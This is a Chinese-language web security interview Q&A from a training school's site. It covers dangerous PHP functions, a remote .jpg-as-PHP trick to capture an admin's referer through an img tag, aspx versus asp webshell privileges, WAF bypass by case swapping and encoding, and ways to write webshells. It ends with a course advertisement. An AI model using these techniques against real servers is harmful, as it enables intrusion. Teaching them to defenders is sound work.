1、代碼執(zhí)行，文件讀取，命令執(zhí)行的函數(shù)都有哪些？

　　1)代碼執(zhí)行：

　　eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

　　2)文件讀取：

　　file_get_contents(),highlight_file(),fopen(),read

　　file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令執(zhí)行：

　　system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

　　2、img 標(biāo)簽除了 onerror 屬性外，還有其他獲取管理員路徑的辦法嗎？

　　src 指定一個(gè)遠(yuǎn)程的腳本文件，獲取 referer

　　3、img 標(biāo)簽除了 onerror 屬性外，并且 src 屬性的后綴名，必須以.jpg 結(jié)尾，怎么獲取管理員路

　　徑。

　　1)遠(yuǎn)程服務(wù)器修改 apache 配置文件，配置.jpg 文件以 php 方式來解析 AddType

　　application/x-httpd-php .jpg <img src=http://xss.tv/1jpg會(huì)以 php 方式來解析

　　4、為什么 aspx 木馬權(quán)限比 asp 大？

　　aspx 使用的是.net 技術(shù)。IIS 中默認(rèn)不支持，ASP 只是腳本語言而已。入侵的時(shí)候 asp 的木馬一般是guest 權(quán)限…APSX 的木馬一般是 users 權(quán)限。

　　5、如何繞過 waf？

　　大小寫轉(zhuǎn)換法

　　干擾字符

　　/*!*/

　　編碼 base64

　　unicode

　　hex

　　url

　　ascll

　　復(fù)參數(shù)

　　6、如何向服務(wù)器寫入 webshell？

　　各種上傳漏洞 mysql 具有寫入權(quán)限，用 sql 語句寫入 shellhttp put 方法。

　　更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué)，課程大綱緊跟企業(yè)需求，更科學(xué)更嚴(yán)謹(jǐn)，每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎(chǔ)還是想提升，都可以找到適合的班型，千鋒教育隨時(shí)歡迎你來試聽。